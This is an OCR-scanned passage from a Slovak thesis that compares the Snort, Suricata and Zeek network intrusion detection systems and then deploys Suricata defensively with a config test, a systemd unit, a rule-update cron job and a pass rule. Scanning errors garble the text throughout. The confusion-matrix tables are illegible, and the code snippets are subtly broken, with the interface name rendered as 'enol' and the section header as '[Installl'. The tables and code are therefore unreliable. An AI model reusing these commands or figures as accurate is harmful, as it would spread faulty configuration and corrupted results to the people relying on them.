V predchadzajicej kapitole boli NIDS riesenia podrobené testovaniu vo via-
cerych scenaroch, ktoré zahfnali rézne itoky aj bezntu prevadzku. Teraz je
na zéklade tohto testovania vyhodnoten4 tispesnost ich detekcie. T4 je vypoci-
tand ako aritmeticky priemer ciastkovych tspesnosti v kazdom teste. V ta-
bulke 5.1 je reprezentovand kritériom pouzitelnosti.

Hodnotenie vo vsetkych stanovenych kategéridch je zobrazené v tabulke
5.1. Celkové dosiahnuté hodnotenie sa nachidza v stipci so symbolom > a je
vypocéitané podla vzorca 2.2 na strane 21. Podla tohto hodnotenia, defino-
vanych kritérii a Gspesnosti v testovani je jednoznacne najlepsie NIDS riesenie
Suricata, ktord bude nasadena vo firemnej infrastruktire.

Tabulka 5.1: Kompletné hodnotenie vybranych NIDS rieseni.

‘ Dokumentécia ‘ Udrzba ‘ Vlastnosti ‘ Cena ‘ Pouzitelnost ‘ 3 ‘

Snort 90% 85% 70% 90% | 48% 68%
Suricata | 90% 100% 100% 100% | 66% 85%
Zeek 95% 70% 50% 5% | 48% 60%

95



5. VYHODNOTENIE A NASADENIE NAJVHODNEJSIEHO NIDS

Tabulka 5.2: Matica zdmen pre Snort.

Skutoénost
Snort 1 0
. 1112 6
Detekcia 10 G

Tabulka 5.3: Matica zdmen pre Suricatu.

. Skutoé¢nost
Suricata i 0
. 1117 3
Detekcia 05 9

Tabulka 5.4: Matica zdmen pre Zeek.

Skuto¢nost
Zeek 1 0
. 1111 4
Detekcia 11 3

Pred samotnym nasadenim Suricaty budid este zhrnuté niektoré d'alSie
zaujimavé informacie, ktoré so sebou testovanie prinieslo. V prvom rade sa
jedna o podrobnejsie porovnanie ispesnosti detekcie jednotlivych rieseni, ktoré
je prehladne zobrazené v tabulkdch matic zdmen. Pre Snort je to tabulka 5.2,
pre Suricatu 5.3 a pre Zeek 5.4.

Riadok 1 oznacuje testy, v ktorych bol detekovany ttok. Za pozitivnu de-
tekciu sa v tomto pripade povazuje akdkolvek forma reakcie zo strany NIDS,
teda aj ¢iastoCnd detekcia ohodnotend v teste na 50%. Riadok 0 znamen4, ze
v danych testoch nebol detekovany ziadny utok. Stipec s oznacCenim 1 pred-
stavuje testy, v ktorych utoky skutocne boli. Stipec 0 zas predstavuje testy,
ktoré v skutocnosti neobsahovali titok.

Vdaka tomu je mozné vypocitat Specificitu a senzitivitu NIDS rieseni.
Specificita meria spolahlivost uréenia skutocne neskodnej siefovej prevadzky.
Senzitivita meria spolahlivost detekcie skuto¢nych ttokov. Ich zhrnutie a po-
rovnanie ilustruje tabulka 5.5. Z toho vypyva, ze Suricata dokéZe najlepsie
detekovat titoky aj beznt siefovii prevadzku.

Okrem toho je este zaujimavy fakt, ze Snort a Suricata reagovali vo via-

Tabulka 5.5: Senzitivita a Specificita NIDS rieseni.

’ \ Snort \ Suricata \ Zeek ‘

Senzitivita | 55% | 77% 50%
Specificita | 50% | 75% 67%
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5.2. Produkc¢né nasadenie Suricaty

cerych testoch velmi podobne, v niektorych pripadoch dokonca identicky. A to
aj napriek tomu, Ze pouzivali rozdielne rulesety. Druhé zaujimavost je, Ze Zeek
dokézal zachytit niektoré druhy ttokov lepsie nez Snort a Suricata. Konkrétne
ide o bruteforce a DoS utoky, ktoré si v jeho logoch jednoducho identifikova-
telné.

5.2 Produkcéné nasadenie Suricaty

Prvy krok, ktory je potrebné vykonat pred produkénym nasadenim Suri-
caty, je zrkadlenie siefovej prevadzky z hlavného firemného firewallu, ktory
je na rozhrani medzi intranetom a internetom. Najprv je potrebné etherne-
tovym kablom prepojit firewall so serverom, na ktorom sa nachddza Suricata.
Potom sa musi nakonfigurovat samotny firewall tak, aby zrkadlil prevadzku
na definovany port. Konkrétna konfiguracia je vsak pre kazdy firewall odlisna,
a pre potreby tejto prace nie je podstatna.

Teraz sa moze upravit konfigurdcia Suricaty v stibore suricata.yaml.
Najprv sa definuje premennd HOME _NET tak, aby obsahovala interné IP ad-
resy. balej sa definujui HTTP a SSH porty. Nakoniec sa namapuji operacné
systémy na IP adresy (alebo rozsahy) v sekcii host-os-policy. Tieto na-
stavenia zaistuji Suricate lepsiu presnost pri detekcii. Nasleduje otestovanie
konfiguracie a testovaci beh:

suricata -T -c /etc/suricata/suricata.yaml -i enol
suricata -c /etc/suricata/suricata.yaml -i enol

V testovacom spusteni sa overi, ze Suricata zapisuje do logovacich stiborov
a vSetko spravne funguje.

Teraz je potrebné nastavit proces Suricaty tak, aby bezala na pozadi ako
systémovy démon a automaticky sa spustala pri Starte OS. Ked'Zze Ubuntu
pouziva ako inicializacny proces systemd, bude vytvorena systémové sluzba
(angl. service) pre Suricatu, ktord vyzerd nasledovne:

Ukéazka 5.1: /etc/systemd/system/suricata.service
[Unit]
Description=Suricata Intrusion Detection System
After=network.target

[Service]

Type=forking

ExecStart=/usr/bin/suricata -D --pidfile /var/run/suricata.pid -c
/etc/suricata/suricata.yaml -i enol

PIDFile=/var/run/suricata.pid

Restart=always
RestartSec=10s

[Installl
WantedBy=multi-user.target
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Viac informécil o systemd a sluzbach sa nachadza tu [48]. Tento sibor
je potrebné vytvorit v uréitom adresari a néasledne restartovat systemd, aby
nacftal novi sluzbu. Potom uZ staéi nastartovat démona Suricaty a zapnif jej
start pri spusteni OS:

systemctl daemon-reload
systemctl start suricata
systemctl enable suricata

Nakoniec by bolo vhodné, aby sa rulesety automaticky updatovali kazdy
deni a vd'aka tomu mohla Suricata detekovat najnovsie hrozby. To sa nastavi
pomocou prikazu crontab -e, ktory otvori editor pravidelnych loh. Do edi-
tora sa vlozi riadok, ktory zaisti, aby sa pravidla updatovali kazdy den o 6:22
rano:

22 6 * * * suricata-update >/dev/null 2>&1

5.3 Testovanie

Testovanie produkéného nasadenia bude pozostéavat z kontroly logov a mapo-
vania verejnych serverov firmy nmapom.

Po niekolkych hodindch od nasadenia sa v stibore stats.log nachadzaji
statistiky analyzovanej prevadzky, ktoré obsahuju uptime, vyuzitie paméte,
pocet analyzovanych paketov, rozdelenie paketov podla rozliénych vlastnosti
a dalsie inform4cie.

V stibore fast.log sa nachddza niekolko zdznamov, ktoré boli podrobené
blizSej manudlnej analyze a boli vyhodnotené ako neskodné. Aby sa dalej
nevytvarali ziznamy o tejto neskodnej komunikacii, je potrebné definovat nové
pravidlo, ktoré vyzerd nasledovne:

Ukézka 5.2: /var/lib/suricata/rules/local.rules
pass tcp 5.5.5.5 443 -> 192.168.0.5 any (msg:"Harmless traffic";
sid:1;)

f)alej je potrebné nastavit jeho naéitanie v hlavnom konfigura¢nom stibore
suricata.yaml v sekcii rule-files a restartovat Suricatu, aby nacitala novi
konfigurdciu. Vd'aka tomu sa uz upozornenia nebudu d’alej zobrazovat.

Po zmapovani verejnych serverov mmapom Suricata okamzite vytvorila
zdznamy o podozrivej aktivite v logu fast.log, ktoré st rovnaké ako v ttoku
4.1.1 z prechadzajicej kapitoly.
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Zaver

V préci bola analyzovan firemn4 siet z pohladu bezpeénosti. Vd'aka tomu boli
vybrané NIDS rieSenia porovnané podla definovanych kritérii. Rovnako boli
otestované voci rozlicnym variantdm ttokov, ktoré sa modzu podla analyzy
v sieti objavit. Jednotilvé NIDS riesenia boli podla reakcii na tieto ttoky,
a na vybrané vzorky siefovej prevadzky, ohodnotené a porovnané.

Na zéklade tychto vysledkov bolo potom zvolené najvyhovujicejsie z nich
— Suricata. Ta bola tispesne nasadena do infrastruktary firmy. Na zaver bola
otestovand a vyladend jej funkénost, aby v danych podmienkach dokizala
dobre plnit svoju ulohu.

Vysledkom tejto préace je plne funkéné nasadenie Suricaty vo firemnej sieti,
¢o by malo prispiet k zvySeniu jej bezpecnosti. Rovnako by malo toto riesenie
pomoct znizovat Skody sposobené titoénikmi a v idedlnom pripadne im tplne
predist.

Napriek tspesnému vyberu a nasadeniu Suricaty vo firme eSte zostava
niekolko veci, ktoré je mozné vylepsit, a ktoré st mimo rozsah tejto préce.
V prvom rade je to vyladenie konfiguricie a generovania udalosti, ¢o médze
trvat aj niekolko tyzdiiov aZ mesiacov, pocas ktorych sa naplno ukaZe povaha
a Specifikd firemnej siefovej prevadzky.

ﬁalej to je instaldcia grafického uZivatelského rozhrania, ¢o zjednodusi vy-
hodnocovanie dat, ktoré Suricata generuje. Nakoniec sa jedna o integraciu IPS
funkcionality do firemného firewallu, ¢o umoZni Suricate okamzite reagovat
na nebezpecéné udalosti v sieti.
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DODATOK A

Zoznam pouzitych skratiek

BSD Berkeley Software Distribution

CGI Common Gateway Interface

CIDR Classless Inter-Domain Routing

DNS Domain Name System

DoS Denial of service

FTP File Transfer Protocol

GUI Graphical User Interface

HIDS Host-based Intrusion Detection System
HTTP Hypertext Transfer Protocol
HTTPS Hypertext Transfer Protocol Secure
ICMP Internet Control Message Protocol
IDS Intrusion Detection System

IoT Internet of Things

IP Internet Protocol

IPS Intrusion Prevention System

ISO International Organization for Standardization
JSON JavaScript Object Notation

MAC Media Access Control

NIDS Network-based Intrusion Detection System
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A. ZOZNAM POUZITYCH SKRATIEK

NTP Network Time Protocol

OSI Open Systems Interconnection
OS Operacény Systém

PHP Hypertext Preprocessor

RDP Remote Desktop

SMB Server Message Block

SNMP Simple Network Management Protocol
SSH Secure Shell

SSL Secure Sockets Layer

TCP Transmission Control Protocol
TLS Transport Layer Security
UDP User Datagram Protocol
VLAN Virtual Local Area Network
VNC Virtual Network Computing
VPN Virtual Private Network
VRT Vulnerability Research Team

YAML YAML Ain’t Markup Language
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